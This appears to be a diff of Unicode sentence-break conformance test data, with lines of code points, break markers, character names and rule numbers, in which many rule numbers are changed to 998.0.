-÷ 2060 × 0043 × 2060 × 002E × 2060 × 0064 × 2060 × 2060 ÷ # ÷ [0.2] WORD JOINER (Format_FE) × [12.0] LATIN CAPITAL LETTER C (Upper) × [5.0] WORD JOINER (Format_FE) × [12.0] FULL STOP (ATerm) × [5.0] WORD JOINER (Format_FE) × [8.0] LATIN SMALL LETTER D (Lower) × [5.0] WORD JOINER (Format_FE) × [5.0] WORD JOINER (Format_FE) ÷ [0.3]
-÷ 2060 × 0063 × 2060 × 002E × 2060 × 0044 × 2060 × 2060 ÷ # ÷ [0.2] WORD JOINER (Format_FE) × [12.0] LATIN SMALL LETTER C (Lower) × [5.0] WORD JOINER (Format_FE) × [12.0] FULL STOP (ATerm) × [5.0] WORD JOINER (Format_FE) × [7.0] LATIN CAPITAL LETTER D (Upper) × [5.0] WORD JOINER (Format_FE) × [5.0] WORD JOINER (Format_FE) ÷ [0.3]
-÷ 2060 × 0043 × 2060 × 002E × 2060 × 0044 × 2060 × 2060 ÷ # ÷ [0.2] WORD JOINER (Format_FE) × [12.0] LATIN CAPITAL LETTER C (Upper) × [5.0] WORD JOINER (Format_FE) × [12.0] FULL STOP (ATerm) × [5.0] WORD JOINER (Format_FE) × [7.0] LATIN CAPITAL LETTER D (Upper) × [5.0] WORD JOINER (Format_FE) × [5.0] WORD JOINER (Format_FE) ÷ [0.3]
-÷ 2060 × 0065 × 2060 × 0074 × 2060 × 0063 × 2060 × 002E × 2060 × 0029 × 2060 × 2019 × 2060 × 00A0 × 2060 × 0074 × 2060 × 0068 × 2060 × 0065 × 2060 × 2060 ÷ # ÷ [0.2] WORD JOINER (Format_FE) × [12.0] LATIN SMALL LETTER E (Lower) × [5.0] WORD JOINER (Format_FE) × [12.0] LATIN SMALL LETTER T (Lower) × [5.0] WORD JOINER (Format_FE) × [12.0] LATIN SMALL LETTER C (Lower) × [5.0] WORD JOINER (Format_FE) × [12.0] FULL STOP (ATerm) × [5.0] WORD JOINER (Format_FE) × [8.0] RIGHT PARENTHESIS (Close) × [5.0] WORD JOINER (Format_FE) × [8.0] RIGHT SINGLE QUOTATION MARK (Close) × [5.0] WORD JOINER (Format_FE) × [8.0] NO-BREAK SPACE (Sp) × [5.0] WORD JOINER (Format_FE) × [8.0] LATIN SMALL LETTER T (Lower) × [5.0] WORD JOINER (Format_FE) × [12.0] LATIN SMALL LETTER H (Lower) × [5.0] WORD JOINER (Format_FE) × [12.0] LATIN SMALL LETTER E (Lower) × [5.0] WORD JOINER (Format_FE) × [5.0] WORD JOINER (Format_FE) ÷ [0.3]
-÷ 2060 × 0065 × 2060 × 0074 × 2060 × 0063 × 2060 × 002E × 2060 × 0029 × 2060 × 2019 × 2060 × 00A0 × 2060 ÷ 0054 × 2060 × 0068 × 2060 × 0065 × 2060 × 2060 ÷ # ÷ [0.2] WORD JOINER (Format_FE) × [12.0] LATIN SMALL LETTER E (Lower) × [5.0] WORD JOINER (Format_FE) × [12.0] LATIN SMALL LETTER T (Lower) × [5.0] WORD JOINER (Format_FE) × [12.0] LATIN SMALL LETTER C (Lower) × [5.0] WORD JOINER (Format_FE) × [12.0] FULL STOP (ATerm) × [5.0] WORD JOINER (Format_FE) × [9.0] RIGHT PARENTHESIS (Close) × [5.0] WORD JOINER (Format_FE) × [9.0] RIGHT SINGLE QUOTATION MARK (Close) × [5.0] WORD JOINER (Format_FE) × [9.0] NO-BREAK SPACE (Sp) × [5.0] WORD JOINER (Format_FE) ÷ [11.0] LATIN CAPITAL LETTER T (Upper) × [5.0] WORD JOINER (Format_FE) × [12.0] LATIN SMALL LETTER H (Lower) × [5.0] WORD JOINER (Format_FE) × [12.0] LATIN SMALL LETTER E (Lower) × [5.0] WORD JOINER (Format_FE) × [5.0] WORD JOINER (Format_FE) ÷ [0.3]
-÷ 2060 × 0065 × 2060 × 0074 × 2060 × 0063 × 2060 × 002E × 2060 × 0029 × 2060 × 2019 × 2060 × 00A0 × 2060 × 2018 × 2060 × 0028 × 2060 × 0074 × 2060 × 0068 × 2060 × 0065 × 2060 × 2060 ÷ # ÷ [0.2] WORD JOINER (Format_FE) × [12.0] LATIN SMALL LETTER E (Lower) × [5.0] WORD JOINER (Format_FE) × [12.0] LATIN SMALL LETTER T (Lower) × [5.0] WORD JOINER (Format_FE) × [12.0] LATIN SMALL LETTER C (Lower) × [5.0] WORD JOINER (Format_FE) × [12.0] FULL STOP (ATerm) × [5.0] WORD JOINER (Format_FE) × [8.0] RIGHT PARENTHESIS (Close) × [5.0] WORD JOINER (Format_FE) × [8.0] RIGHT SINGLE QUOTATION MARK (Close) × [5.0] WORD JOINER (Format_FE) × [8.0] NO-BREAK SPACE (Sp) × [5.0] WORD JOINER (Format_FE) × [8.0] LEFT SINGLE QUOTATION MARK (Close) × [5.0] WORD JOINER (Format_FE) × [12.0] LEFT PARENTHESIS (Close) × [5.0] WORD JOINER (Format_FE) × [12.0] LATIN SMALL LETTER T (Lower) × [5.0] WORD JOINER (Format_FE) × [12.0] LATIN SMALL LETTER H (Lower) × [5.0] WORD JOINER (Format_FE) × [12.0] LATIN SMALL LETTER E (Lower) × [5.0] WORD JOINER (Format_FE) × [5.0] WORD JOINER (Format_FE) ÷ [0.3]
-÷ 2060 × 0065 × 2060 × 0074 × 2060 × 0063 × 2060 × 002E × 2060 × 0029 × 2060 × 2019 × 2060 × 00A0 × 2060 ÷ 2018 × 2060 × 0028 × 2060 × 0054 × 2060 × 0068 × 2060 × 0065 × 2060 × 2060 ÷ # ÷ [0.2] WORD JOINER (Format_FE) × [12.0] LATIN SMALL LETTER E (Lower) × [5.0] WORD JOINER (Format_FE) × [12.0] LATIN SMALL LETTER T (Lower) × [5.0] WORD JOINER (Format_FE) × [12.0] LATIN SMALL LETTER C (Lower) × [5.0] WORD JOINER (Format_FE) × [12.0] FULL STOP (ATerm) × [5.0] WORD JOINER (Format_FE) × [9.0] RIGHT PARENTHESIS (Close) × [5.0] WORD JOINER (Format_FE) × [9.0] RIGHT SINGLE QUOTATION MARK (Close) × [5.0] WORD JOINER (Format_FE) × [9.0] NO-BREAK SPACE (Sp) × [5.0] WORD JOINER (Format_FE) ÷ [11.0] LEFT SINGLE QUOTATION MARK (Close) × [5.0] WORD JOINER (Format_FE) × [12.0] LEFT PARENTHESIS (Close) × [5.0] WORD JOINER (Format_FE) × [12.0] LATIN CAPITAL LETTER T (Upper) × [5.0] WORD JOINER (Format_FE) × [12.0] LATIN SMALL LETTER H (Lower) × [5.0] WORD JOINER (Format_FE) × [12.0] LATIN SMALL LETTER E (Lower) × [5.0] WORD JOINER (Format_FE) × [5.0] WORD JOINER (Format_FE) ÷ [0.3]
-÷ 2060 × 0065 × 2060 × 0074 × 2060 × 0063 × 2060 × 002E × 2060 × 0029 × 2060 × 2019 × 2060 × 00A0 × 2060 × 0308 × 0074 × 2060 × 0068 × 2060 × 0065 × 2060 × 2060 ÷ # ÷ [0.2] WORD JOINER (Format_FE) × [12.0] LATIN SMALL LETTER E (Lower) × [5.0] WORD JOINER (Format_FE) × [12.0] LATIN SMALL LETTER T (Lower) × [5.0] WORD JOINER (Format_FE) × [12.0] LATIN SMALL LETTER C (Lower) × [5.0] WORD JOINER (Format_FE) × [12.0] FULL STOP (ATerm) × [5.0] WORD JOINER (Format_FE) × [8.0] RIGHT PARENTHESIS (Close) × [5.0] WORD JOINER (Format_FE) × [8.0] RIGHT SINGLE QUOTATION MARK (Close) × [5.0] WORD JOINER (Format_FE) × [8.0] NO-BREAK SPACE (Sp) × [5.0] WORD JOINER (Format_FE) × [5.0] COMBINING DIAERESIS (Extend_FE) × [8.0] LATIN SMALL LETTER T (Lower) × [5.0] WORD JOINER (Format_FE) × [12.0] LATIN SMALL LETTER H (Lower) × [5.0] WORD JOINER (Format_FE) × [12.0] LATIN SMALL LETTER E (Lower) × [5.0] WORD JOINER (Format_FE) × [5.0] WORD JOINER (Format_FE) ÷ [0.3]
-÷ 2060 × 0065 × 2060 × 0074 × 2060 × 0063 × 2060 × 002E × 2060 × 0029 × 2060 × 2019 × 2060 × 00A0 × 2060 × 0308 ÷ 0054 × 2060 × 0068 × 2060 × 0065 × 2060 × 2060 ÷ # ÷ [0.2] WORD JOINER (Format_FE) × [12.0] LATIN SMALL LETTER E (Lower) × [5.0] WORD JOINER (Format_FE) × [12.0] LATIN SMALL LETTER T (Lower) × [5.0] WORD JOINER (Format_FE) × [12.0] LATIN SMALL LETTER C (Lower) × [5.0] WORD JOINER (Format_FE) × [12.0] FULL STOP (ATerm) × [5.0] WORD JOINER (Format_FE) × [9.0] RIGHT PARENTHESIS (Close) × [5.0] WORD JOINER (Format_FE) × [9.0] RIGHT SINGLE QUOTATION MARK (Close) × [5.0] WORD JOINER (Format_FE) × [9.0] NO-BREAK SPACE (Sp) × [5.0] WORD JOINER (Format_FE) × [5.0] COMBINING DIAERESIS (Extend_FE) ÷ [11.0] LATIN CAPITAL LETTER T (Upper) × [5.0] WORD JOINER (Format_FE) × [12.0] LATIN SMALL LETTER H (Lower) × [5.0] WORD JOINER (Format_FE) × [12.0] LATIN SMALL LETTER E (Lower) × [5.0] WORD JOINER (Format_FE) × [5.0] WORD JOINER (Format_FE) ÷ [0.3]
-÷ 2060 × 0065 × 2060 × 0074 × 2060 × 0063 × 2060 × 002E × 2060 × 0029 × 2060 × 2019 × 2060 × 0308 ÷ 0054 × 2060 × 0068 × 2060 × 0065 × 2060 × 2060 ÷ # ÷ [0.2] WORD JOINER (Format_FE) × [12.0] LATIN SMALL LETTER E (Lower) × [5.0] WORD JOINER (Format_FE) × [12.0] LATIN SMALL LETTER T (Lower) × [5.0] WORD JOINER (Format_FE) × [12.0] LATIN SMALL LETTER C (Lower) × [5.0] WORD JOINER (Format_FE) × [12.0] FULL STOP (ATerm) × [5.0] WORD JOINER (Format_FE) × [9.0] RIGHT PARENTHESIS (Close) × [5.0] WORD JOINER (Format_FE) × [9.0] RIGHT SINGLE QUOTATION MARK (Close) × [5.0] WORD JOINER (Format_FE) × [5.0] COMBINING DIAERESIS (Extend_FE) ÷ [11.0] LATIN CAPITAL LETTER T (Upper) × [5.0] WORD JOINER (Format_FE) × [12.0] LATIN SMALL LETTER H (Lower) × [5.0] WORD JOINER (Format_FE) × [12.0] LATIN SMALL LETTER E (Lower) × [5.0] WORD JOINER (Format_FE) × [5.0] WORD JOINER (Format_FE) ÷ [0.3]
-÷ 2060 × 0065 × 2060 × 0074 × 2060 × 0063 × 2060 × 002E × 2060 × 0029 × 2060 × 000A ÷ 2060 × 0308 × 2060 × 0054 × 2060 × 0068 × 2060 × 0065 × 2060 × 2060 ÷ # ÷ [0.2] WORD JOINER (Format_FE) × [12.0] LATIN SMALL LETTER E (Lower) × [5.0] WORD JOINER (Format_FE) × [12.0] LATIN SMALL LETTER T (Lower) × [5.0] WORD JOINER (Format_FE) × [12.0] LATIN SMALL LETTER C (Lower) × [5.0] WORD JOINER (Format_FE) × [12.0] FULL STOP (ATerm) × [5.0] WORD JOINER (Format_FE) × [9.0] RIGHT PARENTHESIS (Close) × [5.0] WORD JOINER (Format_FE) × [9.0] <LINE FEED (LF)> (LF) ÷ [4.0] WORD JOINER (Format_FE) × [5.0] COMBINING DIAERESIS (Extend_FE) × [5.0] WORD JOINER (Format_FE) × [12.0] LATIN CAPITAL LETTER T (Upper) × [5.0] WORD JOINER (Format_FE) × [12.0] LATIN SMALL LETTER H (Lower) × [5.0] WORD JOINER (Format_FE) × [12.0] LATIN SMALL LETTER E (Lower) × [5.0] WORD JOINER (Format_FE) × [5.0] WORD JOINER (Format_FE) ÷ [0.3]
-÷ 2060 × 0074 × 2060 × 0068 × 2060 × 0065 × 2060 × 0020 × 2060 × 0072 × 2060 × 0065 × 2060 × 0073 × 2060 × 0070 × 2060 × 002E × 2060 × 0020 × 2060 × 006C × 2060 × 0065 × 2060 × 0061 × 2060 × 0064 × 2060 × 0065 × 2060 × 0072 × 2060 × 0073 × 2060 × 0020 × 2060 × 0061 × 2060 × 0072 × 2060 × 0065 × 2060 × 2060 ÷ # ÷ [0.2] WORD JOINER (Format_FE) × [12.0] LATIN SMALL LETTER T (Lower) × [5.0] WORD JOINER (Format_FE) × [12.0] LATIN SMALL LETTER H (Lower) × [5.0] WORD JOINER (Format_FE) × [12.0] LATIN SMALL LETTER E (Lower) × [5.0] WORD JOINER (Format_FE) × [12.0] SPACE (Sp) × [5.0] WORD JOINER (Format_FE) × [12.0] LATIN SMALL LETTER R (Lower) × [5.0] WORD JOINER (Format_FE) × [12.0] LATIN SMALL LETTER E (Lower) × [5.0] WORD JOINER (Format_FE) × [12.0] LATIN SMALL LETTER S (Lower) × [5.0] WORD JOINER (Format_FE) × [12.0] LATIN SMALL LETTER P (Lower) × [5.0] WORD JOINER (Format_FE) × [12.0] FULL STOP (ATerm) × [5.0] WORD JOINER (Format_FE) × [8.0] SPACE (Sp) × [5.0] WORD JOINER (Format_FE) × [8.0] LATIN SMALL LETTER L (Lower) × [5.0] WORD JOINER (Format_FE) × [12.0] LATIN SMALL LETTER E (Lower) × [5.0] WORD JOINER (Format_FE) × [12.0] LATIN SMALL LETTER A (Lower) × [5.0] WORD JOINER (Format_FE) × [12.0] LATIN SMALL LETTER D (Lower) × [5.0] WORD JOINER (Format_FE) × [12.0] LATIN SMALL LETTER E (Lower) × [5.0] WORD JOINER (Format_FE) × [12.0] LATIN SMALL LETTER R (Lower) × [5.0] WORD JOINER (Format_FE) × [12.0] LATIN SMALL LETTER S (Lower) × [5.0] WORD JOINER (Format_FE) × [12.0] SPACE (Sp) × [5.0] WORD JOINER (Format_FE) × [12.0] LATIN SMALL LETTER A (Lower) × [5.0] WORD JOINER (Format_FE) × [12.0] LATIN SMALL LETTER R (Lower) × [5.0] WORD JOINER (Format_FE) × [12.0] LATIN SMALL LETTER E (Lower) × [5.0] WORD JOINER (Format_FE) × [5.0] WORD JOINER (Format_FE) ÷ [0.3]
-÷ 2060 × 5B57 × 2060 × 002E × 2060 ÷ 5B57 × 2060 × 2060 ÷ # ÷ [0.2] WORD JOINER (Format_FE) × [12.0] CJK UNIFIED IDEOGRAPH-5B57 (OLetter) × [5.0] WORD JOINER (Format_FE) × [12.0] FULL STOP (ATerm) × [5.0] WORD JOINER (Format_FE) ÷ [11.0] CJK UNIFIED IDEOGRAPH-5B57 (OLetter) × [5.0] WORD JOINER (Format_FE) × [5.0] WORD JOINER (Format_FE) ÷ [0.3]
-÷ 2060 × 0065 × 2060 × 0074 × 2060 × 0063 × 2060 × 002E × 2060 ÷ 5B83 × 2060 × 2060 ÷ # ÷ [0.2] WORD JOINER (Format_FE) × [12.0] LATIN SMALL LETTER E (Lower) × [5.0] WORD JOINER (Format_FE) × [12.0] LATIN SMALL LETTER T (Lower) × [5.0] WORD JOINER (Format_FE) × [12.0] LATIN SMALL LETTER C (Lower) × [5.0] WORD JOINER (Format_FE) × [12.0] FULL STOP (ATerm) × [5.0] WORD JOINER (Format_FE) ÷ [11.0] CJK UNIFIED IDEOGRAPH-5B83 (OLetter) × [5.0] WORD JOINER (Format_FE) × [5.0] WORD JOINER (Format_FE) ÷ [0.3]
-÷ 2060 × 0065 × 2060 × 0074 × 2060 × 0063 × 2060 × 002E × 2060 × 3002 × 2060 × 2060 ÷ # ÷ [0.2] WORD JOINER (Format_FE) × [12.0] LATIN SMALL LETTER E (Lower) × [5.0] WORD JOINER (Format_FE) × [12.0] LATIN SMALL LETTER T (Lower) × [5.0] WORD JOINER (Format_FE) × [12.0] LATIN SMALL LETTER C (Lower) × [5.0] WORD JOINER (Format_FE) × [12.0] FULL STOP (ATerm) × [5.0] WORD JOINER (Format_FE) × [8.1] IDEOGRAPHIC FULL STOP (STerm) × [5.0] WORD JOINER (Format_FE) × [5.0] WORD JOINER (Format_FE) ÷ [0.3]
-÷ 2060 × 5B57 × 2060 × 3002 × 2060 ÷ 5B83 × 2060 × 2060 ÷ # ÷ [0.2] WORD JOINER (Format_FE) × [12.0] CJK UNIFIED IDEOGRAPH-5B57 (OLetter) × [5.0] WORD JOINER (Format_FE) × [12.0] IDEOGRAPHIC FULL STOP (STerm) × [5.0] WORD JOINER (Format_FE) ÷ [11.0] CJK UNIFIED IDEOGRAPH-5B83 (OLetter) × [5.0] WORD JOINER (Format_FE) × [5.0] WORD JOINER (Format_FE) ÷ [0.3]
-÷ 2060 × 0021 × 2060 × 0020 × 2060 × 0020 × 2060 × 2060 ÷ # ÷ [0.2] WORD JOINER (Format_FE) × [12.0] EXCLAMATION MARK (STerm) × [5.0] WORD JOINER (Format_FE) × [9.0] SPACE (Sp) × [5.0] WORD JOINER (Format_FE) × [10.0] SPACE (Sp) × [5.0] WORD JOINER (Format_FE) × [5.0] WORD JOINER (Format_FE) ÷ [0.3]
-÷ 1F1E6 × 1F1E7 × 1F1E8 ÷ # ÷ [0.2] REGIONAL INDICATOR SYMBOL LETTER A (Other) × [12.0] REGIONAL INDICATOR SYMBOL LETTER B (Other) × [12.0] REGIONAL INDICATOR SYMBOL LETTER C (Other) ÷ [0.3]
-÷ 1F1E6 × 200D × 1F1E7 × 1F1E8 ÷ # ÷ [0.2] REGIONAL INDICATOR SYMBOL LETTER A (Other) × [5.0] ZERO WIDTH JOINER (Extend_FE) × [12.0] REGIONAL INDICATOR SYMBOL LETTER B (Other) × [12.0] REGIONAL INDICATOR SYMBOL LETTER C (Other) ÷ [0.3]
-÷ 1F1E6 × 1F1E7 × 200D × 1F1E8 ÷ # ÷ [0.2] REGIONAL INDICATOR SYMBOL LETTER A (Other) × [12.0] REGIONAL INDICATOR SYMBOL LETTER B (Other) × [5.0] ZERO WIDTH JOINER (Extend_FE) × [12.0] REGIONAL INDICATOR SYMBOL LETTER C (Other) ÷ [0.3]
-÷ 0020 × 200D × 0646 ÷ # ÷ [0.2] SPACE (Sp) × [5.0] ZERO WIDTH JOINER (Extend_FE) × [12.0] ARABIC LETTER NOON (OLetter) ÷ [0.3]
-÷ 0646 × 200D × 0020 ÷ # ÷ [0.2] ARABIC LETTER NOON (OLetter) × [5.0] ZERO WIDTH JOINER (Extend_FE) × [12.0] SPACE (Sp) ÷ [0.3]
+÷ 2060 × 0028 × 2060 × 0022 × 2060 × 0047 × 2060 × 006F × 2060 × 002E × 2060 × 0022 × 2060 × 0029 × 2060 × 0020 × 2060 ÷ 0028 × 2060 × 0048 × 2060 × 0065 × 2060 × 0020 × 2060 × 0064 × 2060 × 0069 × 2060 × 0064 × 2060 × 002E × 2060 × 0029 × 2060 × 2060 ÷ # ÷ [0.2] WORD JOINER (Format_FE) × [998.0] LEFT PARENTHESIS (Close) × [5.0] WORD JOINER (Format_FE) × [998.0] QUOTATION MARK (Close) × [5.0] WORD JOINER (Format_FE) × [998.0] LATIN CAPITAL LETTER G (Upper) × [5.0] WORD JOINER (Format_FE) × [998.0] LATIN SMALL LETTER O (Lower) × [5.0] WORD JOINER (Format_FE) × [998.0] FULL STOP (ATerm) × [5.0] WORD JOINER (Format_FE) × [9.0] QUOTATION MARK (Close) × [5.0] WORD JOINER (Format_FE) × [9.0] RIGHT PARENTHESIS (Close) × [5.0] WORD JOINER (Format_FE) × [9.0] SPACE (Sp) × [5.0] WORD JOINER (Format_FE) ÷ [11.0] LEFT PARENTHESIS (Close) × [5.0] WORD JOINER (Format_FE) × [998.0] LATIN CAPITAL LETTER H (Upper) × [5.0] WORD JOINER (Format_FE) × [998.0] LATIN SMALL LETTER E (Lower) × [5.0] WORD JOINER (Format_FE) × [998.0] SPACE (Sp) × [5.0] WORD JOINER (Format_FE) × [998.0] LATIN SMALL LETTER D (Lower) × [5.0] WORD JOINER (Format_FE) × [998.0] LATIN SMALL LETTER I (Lower) × [5.0] WORD JOINER (Format_FE) × [998.0] LATIN SMALL LETTER D (Lower) × [5.0] WORD JOINER (Format_FE) × [998.0] FULL STOP (ATerm) × [5.0] WORD JOINER (Format_FE) × [9.0] RIGHT PARENTHESIS (Close) × [5.0] WORD JOINER (Format_FE) × [5.0] WORD JOINER (Format_FE) ÷ [0.3]
+÷ 2060 × 0028 × 2060 × 201C × 2060 × 0047 × 2060 × 006F × 2060 × 003F × 2060 × 201D × 2060 × 0029 × 2060 × 0020 × 2060 ÷ 0028 × 2060 × 0048 × 2060 × 0065 × 2060 × 0020 × 2060 × 0064 × 2060 × 0069 × 2060 × 0064 × 2060 × 002E × 2060 × 0029 × 2060 × 2060 ÷ # ÷ [0.2] WORD JOINER (Format_FE) × [998.0] LEFT PARENTHESIS (Close) × [5.0] WORD JOINER (Format_FE) × [998.0] LEFT DOUBLE QUOTATION MARK (Close) × [5.0] WORD JOINER (Format_FE) × [998.0] LATIN CAPITAL LETTER G (Upper) × [5.0] WORD JOINER (Format_FE) × [998.0] LATIN SMALL LETTER O (Lower) × [5.0] WORD JOINER (Format_FE) × [998.0] QUESTION MARK (STerm) × [5.0] WORD JOINER (Format_FE) × [9.0] RIGHT DOUBLE QUOTATION MARK (Close) × [5.0] WORD JOINER (Format_FE) × [9.0] RIGHT PARENTHESIS (Close) × [5.0] WORD JOINER (Format_FE) × [9.0] SPACE (Sp) × [5.0] WORD JOINER (Format_FE) ÷ [11.0] LEFT PARENTHESIS (Close) × [5.0] WORD JOINER (Format_FE) × [998.0] LATIN CAPITAL LETTER H (Upper) × [5.0] WORD JOINER (Format_FE) × [998.0] LATIN SMALL LETTER E (Lower) × [5.0] WORD JOINER (Format_FE) × [998.0] SPACE (Sp) × [5.0] WORD JOINER (Format_FE) × [998.0] LATIN SMALL LETTER D (Lower) × [5.0] WORD JOINER (Format_FE) × [998.0] LATIN SMALL LETTER I (Lower) × [5.0] WORD JOINER (Format_FE) × [998.0] LATIN SMALL LETTER D (Lower) × [5.0] WORD JOINER (Format_FE) × [998.0] FULL STOP (ATerm) × [5.0] WORD JOINER (Format_FE) × [9.0] RIGHT PARENTHESIS (Close) × [5.0] WORD JOINER (Format_FE) × [5.0] WORD JOINER (Format_FE) ÷ [0.3]
+÷ 2060 × 0055 × 2060 × 002E × 2060 × 0053 × 2060 × 002E × 2060 × 0041 × 2060 × 0300 × 002E × 2060 × 0020 × 2060 × 0069 × 2060 × 0073 × 2060 × 2060 ÷ # ÷ [0.2] WORD JOINER (Format_FE) × [998.0] LATIN CAPITAL LETTER U (Upper) × [5.0] WORD JOINER (Format_FE) × [998.0] FULL STOP (ATerm) × [5.0] WORD JOINER (Format_FE) × [7.0] LATIN CAPITAL LETTER S (Upper) × [5.0] WORD JOINER (Format_FE) × [998.0] FULL STOP (ATerm) × [5.0] WORD JOINER (Format_FE) × [7.0] LATIN CAPITAL LETTER A (Upper) × [5.0] WORD JOINER (Format_FE) × [5.0] COMBINING GRAVE ACCENT (Extend_FE) × [998.0] FULL STOP (ATerm) × [5.0] WORD JOINER (Format_FE) × [8.0] SPACE (Sp) × [5.0] WORD JOINER (Format_FE) × [8.0] LATIN SMALL LETTER I (Lower) × [5.0] WORD JOINER (Format_FE) × [998.0] LATIN SMALL LETTER S (Lower) × [5.0] WORD JOINER (Format_FE) × [5.0] WORD JOINER (Format_FE) ÷ [0.3]
+÷ 2060 × 0055 × 2060 × 002E × 2060 × 0053 × 2060 × 002E × 2060 × 0041 × 2060 × 0300 × 003F × 2060 × 0020 × 2060 ÷ 0048 × 2060 × 0065 × 2060 × 2060 ÷ # ÷ [0.2] WORD JOINER (Format_FE) × [998.0] LATIN CAPITAL LETTER U (Upper) × [5.0] WORD JOINER (Format_FE) × [998.0] FULL STOP (ATerm) × [5.0] WORD JOINER (Format_FE) × [7.0] LATIN CAPITAL LETTER S (Upper) × [5.0] WORD JOINER (Format_FE) × [998.0] FULL STOP (ATerm) × [5.0] WORD JOINER (Format_FE) × [7.0] LATIN CAPITAL LETTER A (Upper) × [5.0] WORD JOINER (Format_FE) × [5.0] COMBINING GRAVE ACCENT (Extend_FE) × [998.0] QUESTION MARK (STerm) × [5.0] WORD JOINER (Format_FE) × [9.0] SPACE (Sp) × [5.0] WORD JOINER (Format_FE) ÷ [11.0] LATIN CAPITAL LETTER H (Upper) × [5.0] WORD JOINER (Format_FE) × [998.0] LATIN SMALL LETTER E (Lower) × [5.0] WORD JOINER (Format_FE) × [5.0] WORD JOINER (Format_FE) ÷ [0.3]
+÷ 2060 × 0055 × 2060 × 002E × 2060 × 0053 × 2060 × 002E × 2060 × 0041 × 2060 × 0300 × 002E × 2060 × 2060 ÷ # ÷ [0.2] WORD JOINER (Format_FE) × [998.0] LATIN CAPITAL LETTER U (Upper) × [5.0] WORD JOINER (Format_FE) × [998.0] FULL STOP (ATerm) × [5.0] WORD JOINER (Format_FE) × [7.0] LATIN CAPITAL LETTER S (Upper) × [5.0] WORD JOINER (Format_FE) × [998.0] FULL STOP (ATerm) × [5.0] WORD JOINER (Format_FE) × [7.0] LATIN CAPITAL LETTER A (Upper) × [5.0] WORD JOINER (Format_FE) × [5.0] COMBINING GRAVE ACCENT (Extend_FE) × [998.0] FULL STOP (ATerm) × [5.0] WORD JOINER (Format_FE) × [5.0] WORD JOINER (Format_FE) ÷ [0.3]
+÷ 2060 × 0033 × 2060 × 002E × 2060 × 0034 × 2060 × 2060 ÷ # ÷ [0.2] WORD JOINER (Format_FE) × [998.0] DIGIT THREE (Numeric) × [5.0] WORD JOINER (Format_FE) × [998.0] FULL STOP (ATerm) × [5.0] WORD JOINER (Format_FE) × [6.0] DIGIT FOUR (Numeric) × [5.0] WORD JOINER (Format_FE) × [5.0] WORD JOINER (Format_FE) ÷ [0.3]
+÷ 2060 × 0063 × 2060 × 002E × 2060 × 0064 × 2060 × 2060 ÷ # ÷ [0.2] WORD JOINER (Format_FE) × [998.0] LATIN SMALL LETTER C (Lower) × [5.0] WORD JOINER (Format_FE) × [998.0] FULL STOP (ATerm) × [5.0] WORD JOINER (Format_FE) × [8.0] LATIN SMALL LETTER D (Lower) × [5.0] WORD JOINER (Format_FE) × [5.0] WORD JOINER (Format_FE) ÷ [0.3]
+÷ 2060 × 0043 × 2060 × 002E × 2060 × 0064 × 2060 × 2060 ÷ # ÷ [0.2] WORD JOINER (Format_FE) × [998.0] LATIN CAPITAL LETTER C (Upper) × [5.0] WORD JOINER (Format_FE) × [998.0] FULL STOP (ATerm) × [5.0] WORD JOINER (Format_FE) × [8.0] LATIN SMALL LETTER D (Lower) × [5.0] WORD JOINER (Format_FE) × [5.0] WORD JOINER (Format_FE) ÷ [0.3]
+÷ 2060 × 0063 × 2060 × 002E × 2060 × 0044 × 2060 × 2060 ÷ # ÷ [0.2] WORD JOINER (Format_FE) × [998.0] LATIN SMALL LETTER C (Lower) × [5.0] WORD JOINER (Format_FE) × [998.0] FULL STOP (ATerm) × [5.0] WORD JOINER (Format_FE) × [7.0] LATIN CAPITAL LETTER D (Upper) × [5.0] WORD JOINER (Format_FE) × [5.0] WORD JOINER (Format_FE) ÷ [0.3]
+÷ 2060 × 0043 × 2060 × 002E × 2060 × 0044 × 2060 × 2060 ÷ # ÷ [0.2] WORD JOINER (Format_FE) × [998.0] LATIN CAPITAL LETTER C (Upper) × [5.0] WORD JOINER (Format_FE) × [998.0] FULL STOP (ATerm) × [5.0] WORD JOINER (Format_FE) × [7.0] LATIN CAPITAL LETTER D (Upper) × [5.0] WORD JOINER (Format_FE) × [5.0] WORD JOINER (Format_FE) ÷ [0.3]
+÷ 2060 × 0065 × 2060 × 0074 × 2060 × 0063 × 2060 × 002E × 2060 × 0029 × 2060 × 2019 × 2060 × 00A0 × 2060 × 0074 × 2060 × 0068 × 2060 × 0065 × 2060 × 2060 ÷ # ÷ [0.2] WORD JOINER (Format_FE) × [998.0] LATIN SMALL LETTER E (Lower) × [5.0] WORD JOINER (Format_FE) × [998.0] LATIN SMALL LETTER T (Lower) × [5.0] WORD JOINER (Format_FE) × [998.0] LATIN SMALL LETTER C (Lower) × [5.0] WORD JOINER (Format_FE) × [998.0] FULL STOP (ATerm) × [5.0] WORD JOINER (Format_FE) × [8.0] RIGHT PARENTHESIS (Close) × [5.0] WORD JOINER (Format_FE) × [8.0] RIGHT SINGLE QUOTATION MARK (Close) × [5.0] WORD JOINER (Format_FE) × [8.0] NO-BREAK SPACE (Sp) × [5.0] WORD JOINER (Format_FE) × [8.0] LATIN SMALL LETTER T (Lower) × [5.0] WORD JOINER (Format_FE) × [998.0] LATIN SMALL LETTER H (Lower) × [5.0] WORD JOINER (Format_FE) × [998.0] LATIN SMALL LETTER E (Lower) × [5.0] WORD JOINER (Format_FE) × [5.0] WORD JOINER (Format_FE) ÷ [0.3]
+÷ 2060 × 0065 × 2060 × 0074 × 2060 × 0063 × 2060 × 002E × 2060 × 0029 × 2060 × 2019 × 2060 × 00A0 × 2060 ÷ 0054 × 2060 × 0068 × 2060 × 0065 × 2060 × 2060 ÷ # ÷ [0.2] WORD JOINER (Format_FE) × [998.0] LATIN SMALL LETTER E (Lower) × [5.0] WORD JOINER (Format_FE) × [998.0] LATIN SMALL LETTER T (Lower) × [5.0] WORD JOINER (Format_FE) × [998.0] LATIN SMALL LETTER C (Lower) × [5.0] WORD JOINER (Format_FE) × [998.0] FULL STOP (ATerm) × [5.0] WORD JOINER (Format_FE) × [9.0] RIGHT PARENTHESIS (Close) × [5.0] WORD JOINER (Format_FE) × [9.0] RIGHT SINGLE QUOTATION MARK (Close) × [5.0] WORD JOINER (Format_FE) × [9.0] NO-BREAK SPACE (Sp) × [5.0] WORD JOINER (Format_FE) ÷ [11.0] LATIN CAPITAL LETTER T (Upper) × [5.0] WORD JOINER (Format_FE) × [998.0] LATIN SMALL LETTER H (Lower) × [5.0] WORD JOINER (Format_FE) × [998.0] LATIN SMALL LETTER E (Lower) × [5.0] WORD JOINER (Format_FE) × [5.0] WORD JOINER (Format_FE) ÷ [0.3]
